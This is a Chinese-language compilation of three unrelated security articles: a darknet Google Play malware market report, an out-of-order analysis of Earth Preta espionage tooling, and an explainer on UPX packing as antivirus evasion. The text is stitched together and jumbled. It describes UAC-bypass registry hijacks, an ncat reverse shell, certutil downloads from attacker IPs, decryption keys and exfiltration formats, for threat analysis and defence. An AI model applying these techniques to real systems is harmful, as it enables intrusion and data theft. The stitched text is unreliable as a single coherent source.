為了說服買家購買其開發的裝載程序，攻擊者有時會提供視頻演示，並向潛在客戶發送演示版本。在裝入程序功能中，他們的開發者可能會強調用戶友好的UI設計、方便的控制面板、目標國家過濾器、對最新Android版本的支持等等。攻擊者還可能為木馬應用程序添加檢測調試器或沙箱環境的功能。如果檢測到可疑環境，裝入程序可能會停止操作，或通知攻擊者它可能已被安全調查人員發現。 Google Play裝入程序是暗網上Google Play攻擊中最受歡迎的產品 裝入程序的開發者通常會指定裝入程序使用的合法應用程序的類型。惡意軟件和不需要的軟件經常被注入加密貨幣跟踪器、金融應用程序、二維碼掃描儀甚至約會應用程序。攻擊者還強調了目標應用程序的合法版本有多少下載量，這意味著有很多潛在受害者會通過使用惡意或不需要的代碼更新應用程序而被感染。最常見的情況是，開發者承諾在下載量達到或超過5000次的應用程序中註入代碼。 攻擊者出售將代碼注入加密貨幣跟踪器的Google Play裝入程序 綁定服務暗網上另一個常見的服務是綁定服務。本質上，這些裝入程序與Google Play裝入程序做的事情完全相同，即在合法應用程序中隱藏惡意或不需要的APK文件。然而，與裝入程序不同的是，裝入程序會調整注入的代碼以通過Google Play上的安全檢查，綁定服務會將惡意代碼插入到不一定適合官方Android市場的應用程序中。通常情況下，使用綁定服務創建的惡意和不需要的應用程序通過釣魚短信、帶有破解遊戲和軟件的可疑網站等方式傳播。 由於綁定服務的成功安裝率低於裝入程序，因此兩者在價格上有很大差異：裝入程序的成本約為5000美元而綁定服務的成本通常約為50 - 100美元或每個文件65美元。 開發者對綁定服務的描述 開發者廣告中列出的綁定服務的優勢和功能通常與裝入程序的優勢和特點相似。不過，Binder（Binder 是一種進程間通信機制,基於開源的OpenBinder實現）通常缺乏與Google Play相關的功能。 惡意軟件模糊處理惡意軟件模糊處理的目的是通過使惡意代碼複雜化來繞過安全系統。在這種情況下，買家要么為處理單個應用程序付費，要么為訂閱付費，例如，每月付費一次。服務提供商甚至可以為購買套餐提供折扣。例如，其中一個開發者以440美元的價格提供50個文件的模糊處理，而同一提供商僅處理一個文件的成本約為30美元。 Google Play威脅模糊處理優惠，每次50美元 安裝為了增加惡意應用程序的下載量，許多開發者甚至通過谷歌廣告來增加銷路。與其他暗網服務不同，這項服務是完全合法的，用於吸引盡可能多的應用程序下載，無論它是仍然合法的應用程序還是已被感染的應用程序。安裝成本取決於目標國家。均價為0.5美元，報價從0.1美元到1美元不等。在下面的截圖中，面向美國和澳大利亞用戶的廣告成本最高，為0.8美元。 開發者規定了每個國家的安裝價格 其他服務暗網開發者也會為買家發布惡意或不需要的應用程序。在這種情況下，買家不會直接與Google Play互動，但可以遠程接收應用程序活動的成果，例如，所有被其竊取的受害者數據。 平均價格和常見銷售規則卡巴斯基的專家分析了提供Google Play相關服務的暗網廣告的價格，發現買家可以接受不同的支付方式。這些服務可以以最終利潤的份額提供，也可以以一次性價格出租或出售。一些開發者也會拍賣他們的商品：由於出售的商品數量有限，它們不太可能被發現，所以買家可能願意為它們競價。例如，在研究人員發現的一次拍賣中，Google Play裝入程序的起拍價是1500美元，最終7000美元成交。 開發者拍賣Google Play裝入程序 在暗網論壇上觀察到的裝入程序的價格在2000美元到20000美元之間，這取決於惡意軟件的複雜性、新穎性和流行性，以及附加功能。裝入程序的平均價格是6975美元。 Google Play裝入程序的平均報價 然而，如果攻擊者想購買裝入程序源代碼，價格會立即飆升，超過價格範圍的上限。 開發者以20000美元的價格提供Google Play裝入程序源代碼 與裝入程序不同，Google Play開發者帳戶（無論是被黑客入侵的還是由攻擊者新創建的）都可以很便宜地購買，例如，只需200美元，有時甚至只需60美元。價格取決於帳戶功能，如已發布的應用程序數量、下載數量等。 用戶想購買一個可以訪問用戶電子郵件的Google Play帳戶 除了許多優惠外，研究人員還在暗網上發現了許多想要以特定價格購買特定產品或服務的信息。 攻擊者正在尋找新的Google Play裝入程序 用戶想買一個新的裝入程序 交易過程暗網上的服務提供商提供了一整套不同的工具和服務。為了保持他們的活動不被發現，很大一部分攻擊者會通過暗網論壇上的私人消息或社交網絡和Telegram進行溝通。 在暗網開發者中，為了降低交易風險，攻擊者經常求助於無私的中介機構——託管服務或中間商。託管可能是一種特殊服務，由影子平台或對交易結果不感興趣的第三方支持。然而，請注意，在暗網上，沒有什麼能100%消除被騙的風險。 總結從暗網上此類威脅的供應量和需求量來看，可以斷定此類威脅只會增長，並變得更加複雜和先進。 防護措施： 不要啟用未知應用程序的安裝。如果某個應用程序催促你下載安裝，那麼要小心了。如果可能，請卸載該應用程序，並使用防病毒軟件掃描設備。 檢查你使用的應用程序的權限，並在授予不需要的權限之前仔細考慮，尤其是在涉及輔助功能服務等高風險權限時。比如，手電筒應用程序唯一需要的權限就是使用手電筒。 使用可靠的安全解決方案，可以幫助你在惡意應用程序和廣告軟件在設備上出現不當行為之前發現它們。 隨時更新你的操作系統和重要應用程序。要確保應用程序更新是良性的，請在安全解決方案中啟用自動系統掃描，或者在安裝更新後立即掃描設備。 對於組織來說，有必要使用強密碼和雙因素驗證保護其開發人員帳戶，並監控暗網，以儘早檢測和緩解憑據洩漏風險。

WinRAR和curl根據研究人員的一些監控日誌，攻擊者濫用安裝的WinRAR二進製文件和上傳的curl可執行文件來竊取文件(下圖顯示了執行的命令)。注意，可執行文件log.log是一個合法的curl二進製文件。所有洩露的數據都被收集並發送回攻擊者控制的FTP(文件傳輸協議)服務器。 使用WinRAR和curl洩露數據 在某些示例中，研究人員偶然發現了FTP服務器的帳戶和密碼。在檢查FTP服務器後，研究人員了解到攻擊者主要專注於敏感和機密文件，其中大部分都經過壓縮並使用密碼保護。根據觀察，這些文件是通過對受害者的主機名和磁盤驅動器進行分類來組織的。 有被盜文件的FTP服務器 HackTool.Win32.NUPAKAGE除了眾所周知的合法工具外，攻擊者還製作了高度定制的用於洩露的工具。研究人員將這個惡意軟件命名為“NUPAKAGE”，該名稱源自其唯一的PDB字符串D:\Project\NEW_PACKAGE_FILE\Release \NEW_PACKAGE_FILE.PDB。 NUPAKAGE惡意軟件需要一個唯一的密碼才能執行，被竊取的數據被封裝在自定義文件格式中。攻擊者似乎在不斷更新該工具，以提供更大的靈活性並降低檢測的可能性，包括添加更多的命令行參數和混淆機制。默認情況下，它只收集文件，包括具有以下擴展名的文件： doc .docx .xls .xlsx .ppt .pptx .pdf 它避免收集文件名以“$”或“~”開頭的文件，因為這些類型的文件通常要么是系統生成的臨時文件，要么是偽裝成誘餌文件的PE文件。 此工具的用法如下： NUPAKAGE惡意軟件的參數 每一個NUPAKAGE惡意軟件都需要一個唯一的密碼作為它繼續執行的首個參數。如下圖所示，它首先檢查密碼是否存在。否則，惡意軟件執行過程將終止。在檢測過程中，研究人員觀察到每個惡意軟件中都有不同的密碼。 NUPAKAGE中的密碼檢查例程 NUPAKAGE中的密碼 執行後，NUPAKAGE將釋放xxx.zip和xxx.z兩個文件。 xxx.zip文件是一個日誌文件，其虛假zip標頭以0x0偏移量為前綴，佔用了前0x100個字節。從偏移量0x100開始，在XOR操作中使用單個字節對日誌記錄字符串進行加密，如下圖所示。 原始日誌文件（頂部），解密後的日誌文件（底部）中顯示純文本 以其中一個執行結果為例，保存了被洩露數據的大部分信息，包括原始文件路徑、原始文件大小和壓縮文件大小。研究人員認為攻擊者利用它來進一步追踪哪些文件被處理過。對於安全研究人員來說，這個日誌文件還有助於揭示有多少數據被洩露，並提供有關影響範圍的信息。 擴展名為.z的文件是一個自定義文件格式的洩露數據blob。 NUPAKAGE惡意軟件首先隨機生成一個密鑰blob，密鑰在自定義算法中加密。之後，它將加密的密鑰blob存儲到擴展名為.z的文件的前0x80字節中。從偏移量0x80開始，存在一個包含所有已過濾數據的長數組。 洩露文件中的大部分信息都會被保存，例如MD5哈希、文件名長度、壓縮文件大小、原始文件大小、文件名和文件內容。為了分離文件blob，它在每個blob的末尾放置一個唯一的字節序列，55 55 55 55 AA AA AA AA FF FF FF 99 99 99 99。 NUPAKAGE生成的擴展名為.z的文件中的自定義格式 NUPAKAGE生成的擴展名為.z的文件中的自定義格式描述 值得一提的是，在NUPAKAGE的最新版本中，越來越多的混淆被用來阻止靜態分析。 NUPAKAGE最新版本的垃圾代碼 HackTool.Win32.ZPAKAGEZPAKAGE是另一個用於封裝文件的自定義惡意軟件的示例；它的工作原理也與NUPAKAGE類似。它還需要一個密碼來確保它按預期使用。在下圖所示的示例中，密碼是“start”。 一個ZPAKAGE密碼的示例 ZPAKAGE也支持命令行參數，但它擁有的函數比NUPAKAGE少。該工具的使用方法如下: ZPAKAGE支持的參數 ZPAKAGE也表現出與NUPAKAGE相似的行為。例如，它還避免使用名稱以“$”或“~”開頭的文件。此外，它還生成兩個文件，一個擴展名為.z，另一個擴展名稱為.zip。擴展名為.z的文件是已過濾的數據blob，擴展名為.zip的文件是日誌文件。 在生成的擴展名為.z的文件中，被洩露的文件將通過zlib算法進行壓縮，以最小化文件大小。它還定義了用於存儲的布爾字段“type”，無論文件是否被壓縮。如果壓縮後的文件大小小於原文件，則類型為1。否則，類型將被設置為0，並將選擇原始文件內容，而不是壓縮文件內容。無論文件內容是否被壓縮，它都將在異或操作中使用特定字符串qwerasdf對其進行加密。 ZPAKAGE生成的擴展名為.z的文件中的自定義格式 ZPAKAGE生成的擴展名為.z的文件中的自定義格式描述 檢測惡意攻擊自2022年10月以來，攻擊者已經更改了TTP，並開始使用受密碼保護的文件。例如，研究人員在VirusTotal上發現了一個TONEINS示例(SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a)，該示例不能鏈接到“關係”選項卡中的任何其他文件。但是，研究人員發現在“行為”選項卡中打開了兩個文件，文件名分別為~$Evidence information.docx和~$List of terrorist personnel at the border.docx，下一階段的有效負載通常嵌入在虛假文件文件中。 打開的TONEINS示例文件 下圖顯示了在VirusTotal上查詢“邊境恐怖分子人員名單”的搜索結果。第一個文件是研究人員在本節前面提到的TONEINS DLL示例，而第二個文件是一個正常的可執行文件，最初名為adobe_licensing_wf_helper.exe，顯然是上傳到VirusTotal的，文件名為List of terrorist personnel at the border.exe。 在VirusTotal上搜索字符串邊境恐怖分子名單的結果 提交adobe_licensing_wf_helper.exe 第三個文件是受密碼保護的文件，它有完全相同的文件名List of terrorist personnel at the border[1].rar。但由於沒有密碼，研究人員無法解壓它。但它在“Relations”選項卡中有一個有趣的父項執行，這是一個名為Letter Head.docx的文件。 terrorist personnel at the border[1].rar的父項執行 在Letter Head.docx文件中，有一個谷歌驅動器鏈接和一個密碼。內容本身與緬甸聯邦共和國政府有關，並用緬甸語書寫。 Letter Head.docx 檢查下載鏈接後，研究人員發現它與之前在VirusTotal上發現的受密碼保護的文件相同。 谷歌驅動器鏈接截圖 新的攻擊載體流與之前介紹的類似，受害者將收到一個包含谷歌驅動器鏈接和相應密碼的誘餌文件，而不是嵌入在電子郵件中的文件下載鏈接，並與之交互。 至於為什麼密碼保護的文件有父項執行，通過在VirusTotal上檢查Letter Head.docx的沙箱執行行為，研究人員發現VirusTotal沙箱會選擇文件中嵌入的任何鏈接。這將導致打開帶有文件下載提示的Internet Explorer窗口。 VirusTotal上Letter Head.docx文件的沙盒截圖 當顯示下載提示時，甚至在用戶選擇“保存”按鈕之前，Internet Explorer將在後台靜默地下載該文件。 結果，該文件將被保存到名為“INetCache”的緩存文件夾中，之後會看到一個被釋放的RAR文件： C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\R0IAZP7Z\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar. 由於RAR文件是由Internet Explorer自動下載的，因此Letter Head.docx將被視為它的執行父文件。 在VirusTotal上被釋放的Letter Head.docx文件 為了找到嵌入谷歌驅動器鏈接的其他受密碼保護的文件，研究人員嘗試使用以下查詢： 該查詢可以查找任何加密的RAR文件，其文件足夠大，路徑中包含文件夾名稱“INetCache”。幸運的是，研究人員發現了另一個帶有文件執行父級文件“Notic(20221010)(final).docx”的RAR文件，它原來是一個TONESHELL文件。 歸檔文件的關係 文件Notic(20221010)(final).docx的內容 有趣的是，在迄今為止收集的所有示例中，攻擊者使用以相同格式(DD-MM-YYYY)編寫的日期和時間字符串作為提取密碼。 連接點在調查過程中，研究人員觀察到一些數據點與同一個人有關。例如，研究人員在收集的不同惡意軟件樣本中發現了一個特定的名稱“TaoZongjie”。此外，Avast在2022年12月的報告中提到的名為“YanNaingOo0072022”的GitHub存儲庫託管了多個惡意軟件，包括TONESHELL。研究人員還觀察到不同惡意軟件之間的混淆方法有相似之處。 用戶“TaoZongjie”分析研究人員發現一些樣本共享相同的特殊字符串/名稱“TaoZongjie”，包括Cobalt Strike惡意軟件，TONESHELL CC服務器上的Windows用戶，以及TONESHELL彈出對話框中顯示的消息。 調查始於啟用了遠程桌面服務的TONESHELL CC服務器38[.]54[.]33[.]228，研究人員發現其中一個Windows用戶叫“TaoZongjie”。 38[.]54[.]33[.]228中的Windows用戶 在尋找與此次活動相關的樣本時，研究人員看到了一條發佈於2021年4月的關於Cobalt Strike的推文。乍一看，Cobalt Strike的使用方式與此活動類似，包括使用DLL側加載，使用谷歌驅動器鏈接進行傳播，並創建日程任務。 關於Cobalt Strike的推特 感染流程如下：歸檔文件通過Google Drive鏈接傳播，其中包含一個合法的EXE文件、一個惡意的DLL文件和一個用緬甸語編寫的誘餌文件。一旦惡意DLL被側加載，它將釋放嵌入DLL文件的資源部分的合法EXE文件和惡意DLL文件。在這個示例中，字符串By:Taozongjie被用作事件名稱。 Cobalt Strike的攻擊流 示例中的特殊字符串 在一個TONEINS示例(SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707)中，研究人員還觀察到用於事件名稱的字符串taozongjie。 在TONEINS創建活動taozongjie 在另一個TONESHELL示例(SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a)中，有一些無關緊要的導出函數，它們將通過消息框出現，字符串為Tao或zhang!儘管這兩個字符串的拼寫方式與taozongjie不完全相同，但它們的拼寫仍然相似。 TONESHELL的消息框 根據研究人員在不同樣本中發現的情況，研究人員假設taozongjie可能是攻擊者使用的標誌之一。 GitHub用戶“YanNaingOo0072022”分析在Avast和ESET報告中都提到了GitHub用戶“YanNaingOo0072022”。用戶的存儲庫託管各種惡意軟件，包括最新版本的TONEINS、TONESHELL和一個名為MQsTTang的ESET新工具QMAGENT。在撰寫本文時，這個GitHub空間仍然可以訪問，有五個存儲庫：“View2015,” “View2016,” “1226,” “ee,” 和“14.” 。其中，“View2015” 和“View2016”是空的。 YanNaingOo0072022 GitHub空間 1226此存儲庫中的歸檔文件都相同，但具有不同的文件名。研究人員認為這些文件是針對不同的受害者的。

經過幾個月的調查，趨勢科技的研究人員發現Earth Preta正在使用一些從未被公開的惡意軟件和用於洩露目的的有趣工具。研究人員還觀察到攻擊者正在積極地改變研究人員的工具、戰術和程序（TTP）以繞過安全解決方案。在這篇文章中，研究人員還將介紹和分析攻擊者使用的其他工具和惡意軟件。 在之前的研究中，研究人員披露並分析了Earth Preta(又名Mustang Panda)組織發起的一項新型攻擊活動。在最近的一次活動中，研究人員通過監測發現Earth Preta通過魚叉式網絡釣魚郵件和谷歌驅動器鏈接發送誘餌文件。經過幾個月的調查，研究人員發現攻擊者在這次活動中使用了一些從未公開的惡意軟件和用於洩露目的的有趣工具。 感染鏈經調查，整個攻擊始於魚叉式網絡釣魚電子郵件。經過對攻擊程序的長期調查，研究人員確定了完整的感染鏈如下所示。 完整的感染鏈 研究人員將不同的TTP分為六個階段：攻擊載體、發現、權限升級、橫向移動、命令與控制(CC)和洩露。在之前的研究中，研究人員在第一階段(攻擊載體)涵蓋了大多數新的TTP和惡意軟件。但是，研究人員觀察到一些TTP已經發生了變化。在接下來的部分中，我們將重點關注更新後的攻擊載體及其後續階段。 攻擊載體之前Earth Preta使用的攻擊載體，研究人員將它們分為三種類型（DLL側加載、快捷鏈接和偽文件擴展名）。從2022年10月和11月開始，研究人員觀察到攻擊者開始改變研究人員的TTP，以部署TONEINS、TONESHELL和PUBLOAD惡意軟件和QMAGENT惡意軟件。研究人員認為，攻擊者正在使用這些新技術逃避。 Trojan.Win32.TONEINS根據研究人員之前的觀察，TONEINS和TONESHELL惡意軟件是從嵌入電子郵件正文的谷歌驅動器鏈接下載的。為了繞過電子郵件掃描服務和電子郵件網關解決方案，谷歌驅動器鏈接現在已經嵌入到誘餌文件中。該文件誘使用戶下載帶有嵌入式鏈接的受密碼保護的惡意文件。然後可以通過文件中提供的密碼在內部提取文件。通過使用此技術，攻擊背後的惡意攻擊者可以成功繞過掃描服務。 一份誘餌文件，其中嵌入了谷歌驅動器鏈接和密碼 在新的攻擊載體中，整個感染流程已更改為下圖所示的程序。 攻擊載體的感染流 新攻擊載體中的文件 在分析下載的文件後，研究人員發現這是一個惡意RAR文件，包含TONEINS惡意軟件libcef.dll和border.docx中的TONESHELL malware ~List of terrorist personnel 。它們的感染流程類似於之前報告中的攻擊載體類型C，唯一的區別是偽造的.docx文件具有XOR加密內容，以防止被檢測到。例如，~$Evidence information.docx是一個偽裝成Office Open XML文件的文件。因此，它似乎是無害的，甚至可以通過使用7-Zip等解壓軟件打開。 攻擊者在一個文件的ZIPFILERECORD結構中隱藏了一個PE文件。 TONEINS惡意軟件libcef.dll將在XOR操作中用一個字節解密該文件，找到PE頭，並將有效負載放置到指定的路徑。 在對最後一個ZIPFILECECORD結構中的frData成員進行解密後，將顯示PE文件 TONEINS的解密函數 感染流的後續行為通常與之前的分析相同，更多的細節我們之前已經介紹過。 Trojan.Win32.PUBLOAD在最近的案例中，惡意軟件PUBLOAD也是通過嵌入在誘餌文件中的谷歌驅動器鏈接傳播的。 美國大使館的誘餌邀請函 自2022年10月以來，研究人員一直在觀察PUBLOAD的一種新變體，該變體使用偽造的HTTP標頭來傳輸數據，LAC的報告也討論了這一點。與之前的PUBLOAD變體不同，它在數據包中預先準備了一個具有合法主機名的HTTP標頭。研究人員認為，攻擊者試圖在正常流量中隱藏惡意數據。 HTTP正文中的數據與過去的變體相同，後者俱有相同的魔法字節17 03 03和加密的受害者信息。研究人員能夠成功地從實時CC服務器中檢索到有效負載，這使得我們能夠繼續分析。 PUBLOAD HTTP變體的CC流量 一旦接收到有效負載，它將檢查前三個魔術字節是否為17 03 03，以及接下來的兩個字節是否為有效載荷的大小。然後，它將使用預定義的RC4密鑰78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 2000 00 00 00 00 00 00 00 00解密加密的有效負載，該密鑰與PUBLOAD加載程序中使用的密鑰相同。 從PUBLOAD HTTP變體檢索到的第一個有效負載 解密之後，它檢查解密有效負載的第一個字節是否為0x06。解密的有效負載包含用字節23 BE 84 E1 6C D6 AE 52 90進行XOR加密的另一個有效負載。 從PUBLOAD HTTP變體檢索到的第二個有效負載 解密後，還有另一個支持數據上傳和命令執行的最終後門負載。 PUBLOAD HTTP變體的最終有效負載 PUBLOAD HTTP變體中的命令代碼 此外，研究人員還在PUBLOAD示例中發現了一些有趣的調試字符串和事件名稱。 PUBLOAD中的事件名稱 PUBLOAD中的調試字符串 總之，研究人員認為新的TONESHELL和PUBLOAD文件一直在迭代，且有了一些共同之處。例如，為了繞過防病毒掃描，它們現在都被放置在誘餌文件中（如穀歌硬盤鏈接）。 攻擊過程一旦攻擊者獲得了對受害者環境的訪問權限，研究人員就可以通過以下命令開始檢查環境： 權限提昇在這次活動中，研究人員發現了Windows 10中用於UAC繞過的幾個工具。接下來我們將一一介紹。 HackTool.Win 32.ABPASSHackTool.Win32.ABPASS是一個用於繞過Windows 10中的UAC的工具。根據我們的分析，它重用了ucmShellRegModMethod3函數中的代碼，該函數來自一個著名的開源項目UACME。 Sophos的一份報告介紹了這一工具。 該工具接受一個參數，並將以下數據寫入註冊表： ABPASS更改了註冊表項 它還改變了Windows處理ms-settings協議的方式，在本例中，字符串ms-settings是一個編程標識符(ProgID)。如果CurVer項設置在ProgID下，它將用於版本控制並將當前ProgID (ms-settings)映射到CurVer默認值中指定的ProgID。反過來，ms-settings的行為被重定向到自定義的ProgID aaabbb32。它還設置了一個新的ProgID aaabbb32及其shell打開命令。最後，執行fodhelper.exe或computerDefaults.exe來觸發ms-settings協議。 新增的ProgID aaabbb32 HackTool.Win 32.CCPASSHackTool.Win 32.CCPASS是另一個用於Windows 10 UAC繞過的工具，並類似地重用項目UACME中函數ucmMsStoreProtocolMethod中的代碼。 CCPASS和ucmMsStoreProtocolMethod中的代碼相似性 它的工作方式與ABPASS類似。然而，與ABPASS不同的是，它劫持了ms-windows存儲協議。黑客工具CCPASS的工作原理如下： 1.它禁用了協議ms-windows存儲的應用程序關聯toast。 2.它在註冊表中創建一個新的Shell； 3.它調用未記錄的API UserAssocSet來更新文件關聯； 4.它執行WSReset.exe來觸發此協議。 在Windows 10及以上版本中，系統會顯示一個新的toast對話框，用於為選定的文件類型選擇打開的應用程序。要隱藏此窗口，該工具會明顯地將新條目添加到HKCU\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToast，以禁用與協議ms-Windows存儲相關的所有Toast。 應用程序關聯toast的示例 通過註冊表隱藏應用程序關聯toast 完成此操作後，該工具開始更改ms-windows-store的shell命令，並最終使用WSReset.exe觸發它。 SilentCleanup在Windows 10中，有一個名為“SilentCleanup”的本地Windows服務。該服務具有最高權限，可以用於Windows 10 UAC繞過。通常，此服務用於運行%windir%\system32\cleanmgr.exe。但是，可以劫持環境變量%windir%並將其更改為任何路徑以實現權限升級。 濫用SilentCleanup服務的惡意命令 研究人員觀察到攻擊者使用這種技術來執行c:\users\public\1.exe。 橫向運動在這個階段，研究人員觀察到某些惡意軟件，如HIUPAN和ACNSHELL（最初由Mandiant和Sophos引入並分析），被用來自我安裝到可移動磁盤並創建反向shell。 USB蠕蟲: Worm.Win 32.HIUPAN and+ Backdoor.Win 32.ACNSHELL研究人員發現了一組由USB蠕蟲和反向shell組成的惡意軟件，包括USB蠕蟲和反向shell(被檢測為Worm.Win32.HIUPAN和Backdoor.Win32.ACNSHELL)，用於在可移動驅動器上進行擴展。 感染鏈如下圖所示。 HIUPAN和ACNSHELL感染流 USB Driver.exe程序首先側加載u2ec.dll，然後加載有效負載文件USB .ini。它們分別具有以下PDB字符串： G:\project\APT\U盤劫持\new\u2ec\Release\u2ec.pdb G:\project\APT\U盤劫持\new\shellcode\Release\shellcode.pdb 其中“U盤”指的是可移動驅動器。 然後，USB Driver.exe開始檢查是否正確安裝。如果安裝了它，它將開始感染更多的可移動磁盤，並將文件複製到一個名為autorun.inf的文件夾中。如果沒有安裝，它會將自己安裝到%programdata%，然後將註冊表運行項設置為持久性。 最後，側加載ACNSHELL惡意軟件rzlog4cpp.dll。然後，它將通過ncat.exe創建一個反向shell，用於關閉[.]theworkpc[.]com的服務器。 指揮與控制(CC)階段Earth Preta在CC階段使用了多種工具和命令。例如，該組織使用certutil.exe從服務器103[.]159[.]132[.]91下載合法的WinRAR二進製文件rar1.exe。 certutil.exe程序下載WinRAR二進製文件 研究人員還觀察到攻擊者使用PowerShell從服務器103[.]159[.]132[.]下載多個惡意軟件和文件，以備將來使用。 PowerShell下載惡意軟件 在某些示例中，研究人員甚至利用安裝在受害主機上的WinRAR二進製文件來解壓所有惡意軟件。 使用已安裝的WinRAR二進製文件解壓惡意軟件 雖然研究人員發現了涉及多個被釋放惡意軟件的幾個日誌，但研究人員只設法找回了其中的幾個。在收集的所有示例中，我們將重點介紹其中幾個。 Backdoor.Win32.CLEXECCLEXEC後門文件名為“SensorAware.dll”。這是一個簡單的後門，能夠執行命令和清除事件日誌。 CLEXEC命令代碼 Backdoor.Win32.COOLCLIENTCOOLCLIENT的後門首次出現在Sophos的一份報告中，報告中提到的樣本是在2021編譯的。在該示例中，研究人員分析的COOLCLIENT示例的最近編譯時間是在2022年，雖然它提供了相同的功能，但噹噹前進程名具有“.pdf”或“.jpg”文件擴展名時，它新增了打開誘餌文件(work.pdf)的功能。它還包含減少調試字符串(更少OutputDebugStrings調用)的功能。與此同時,loader.ja在兩個進程下使用：一個是在googleupdate.exe下，用於第一次側加載。第二個是在winver.exe下，它被注入進行後門行為。此外，COOLCLIENT應用了將在我們將在後面討論的混淆技術。 打開誘餌文件 下圖顯示了COOLCLIENT的整個執行流程。 COOLCLIENT的執行流 COOLCLIENT的參數提供了以下功能： install.有三種不同的條件來決定COOLCLIENT的安裝方法，詳細信息如下： 1.它通過創建一個名為InstallSvc的InstallSvc服務來自我安裝，該服務將觸發“googleupdate.exe work”。 2.它通過命令C:\ProgramData\GoogleUpdate\ GoogleUpdate .exe為持久活動設置了一個運行項。 work.惡意軟件將繼續讀取和解密goopdate.ja，並將其註入到winver.exe中以用於包含攻擊的下一階段負載（COOLCLIENT）。 passuac.惡意軟件將檢查進程avp.exe是否存在。如果avp.exe不存在，UAC繞過將通過CMSTPLUA COM接口執行。如果avp.exe存在，UAC繞過將通過AppInfo RPC服務執行。 通過CMSTPLUA COM接口繞過UAC

可執行文件的終極打包程序（UPX）是一種開源打包程序，可以大幅縮減可執行文件的文件大小（縮減效果比Zip文件更好），並且它與眾多可執行格式兼容，比如Windows DDL、macOS應用程序或Linux ELF。 供應商有時使用打包手段來防止基本的逆向工程或非法重新分發。大致說來，打包程序拿來原始的可執行文件後，為新創建的可執行文件添加一小段名為“stub”（存根）的代碼。然後，存根代碼將用於解包文件，並將可執行文件“恢復”到原始狀態。 雖然像UPX這樣的一些打包程序只壓縮文件，但其他打包程序還可以加密文件。 攻擊者可以使用壓縮將惡意軟件隱藏在看似無害的合法文件中，這可以騙過基於特徵的檢測系統，甚至騙過基於高級人工智能（AI）的反病毒解決方案。下面介紹了黑客如何使用UPX確保惡意軟件無法被檢測到的方法。 基於UPX的規避的工作機理UPX可以打包惡意可執行文件並修改其字節，以生成無法被檢測到的惡意軟件版本。 通過自解壓的歸檔可執行文件，當打包文件被執行時，打包程序可以在內存中解包自己。 打包的文件通常在磁盤上比較小，但在內存中比較大。如果你檢查一個可疑的文件，可能會看到如下典型的部分： UPX0：一個空的部分，不包含實際的原始數據，但有龐大的虛擬內存大小 UPX1：存根代碼和壓縮後的可執行文件 還有其他部分，但在這裡暫停不詳述。 當UPX打包的文件被執行時，所有打包的部分都在內存中解包，包括黑客可能存儲在其中的任何惡意代碼，程序跳轉到原始入口點（OEP）來執行可執行文件。 壓縮是一種典型的逃避技術雖然基於UPX的逃避乍一看可能有點難以理解，但壓縮卻是避免反病毒檢測的一種典型方法。 讀者可以執行的一個簡單測試就是將惡意軟件樣本的原始版本和打包版本上傳到自己青睞的平台，比如VirusTotal。與惡意軟件的原始版本相比，打包版本通常被發現的次數要少得多，許多反病毒工具可能完全漏過了打包版本。 UPX用在惡意軟件部署中有多頻繁方面缺少太多的統計數據，但MITRE列舉了攻擊者可以用來隱藏代碼的種種“基於打包”的程序（https://attack.mitre.org/techniques/T1027/002/）。許多活動似乎都涉及UPX。 檢測UPX打包的文件你可以嘗試一個簡單的UPX命令來發現UPX打包的文件： upx -l {suspicious_binary} 當然，這個命令很有限，不會一直有效。另一個有限但仍然有效的選項是轉儲十六進制代碼，並蒐索特定的字符串，比如UPX： hexdump -C {suspicious_binary} | grep 'UPX' 你還可以利用可移植可執行文件（PE）分析器來檢測UPX打包的文件。 挫敗UPX損毀手法和損壞的文件外面觀察到的許多漏洞並不依賴UPX本身來解包惡意代碼，而是故意生成損壞的打包文件。 我們前面分析的基本示例含有非常容易識別的部分，但是攻擊者可以使用十六進制編輯器或其他工具來更改字節或插入字符串，從而使文件極難被檢測出來。 雖然這樣的操作可能會使用upx -d命令破壞典型的解包並拋出錯誤，但二進製文件仍然會執行。 Akamai推薦的upxdump.py等工具可能能夠修復故意損壞的UPX打包的文件，因為它可以修復經常用於混淆UPX打包的惡意軟件已損壞的報頭部分。 但是要小心，因為一些變體只是剝離UPX報頭或註入空字節，這將使工具失效。 打包程序分析和反UPX解包技術反向工程人員和惡意軟件分析師可能會使用ollydbg、radar2甚至流行的Ghydra等工具來分析打包的文件。關鍵步驟是先確定二進製文件是否使用反UPX解包技術。 雖然Mirai等許多類型的惡意軟件使用反UPX解包技術（比如零填充文件）以阻礙安全研究人員的工作，但這並不意味著你不能解包它們。像upx-mod這樣的工具可以助一臂之力。 話雖如此，最老練的威脅分子可能使他們的文件對標準的UPX實現方法而言“無法解包”，不過這種情況似乎相當罕見。 應對UPX打包惡意軟件的最佳實踐使用惡意的UPX打包文件表明，你不能單單依賴防病毒軟件和其他基於特徵的解決方案來發現惡意軟件，無論這些工具推銷自己有多麼先進。 但如果沒有這些工具，你將更容易受到攻擊，不過攻擊者總是會想方設法轉移合法實用程序的視線、繞過檢測。 UPX是一種通用格式，可用於針對各種平台，反UPX解包技術可用於乾擾逆向工程和惡意軟件分析。 一個好的做法是，當用戶不需要UPX時，在一些目錄中禁用執行（比如tmp和下載），特別是在企業環境中，這可以通過安全策略來實現。 確保系統沒有隱藏文件擴展名，但即使情況並非如此，也不能保證沒有人會不明智地點擊，特別是面對針對性的攻擊活動。你需要把可疑的活動和行為記錄下來。

